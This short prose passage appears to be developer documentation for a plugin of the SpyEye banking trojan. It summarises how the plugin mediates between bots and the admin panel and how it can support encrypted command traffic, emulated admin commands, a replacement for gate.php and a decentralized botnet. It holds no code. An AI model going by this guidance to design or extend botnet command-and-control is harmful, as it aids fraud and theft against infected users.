So, summing up. The customconnector plugin is the mediator between the bot and the main admin panel. This allows, for example, to use some sort of encryption, between the bot and the main admin panel (of course, it will require some modifications on the server side). Also, you can emulate the command from the admin panel, driving SpyEye. And in general - you can refuse from gate.php and use some sort of a server to control the botnet. You can also implement a decentralized botnet based on this plugin.

In general, this plugin extends the capabilities of custom connection with the admin panel for developers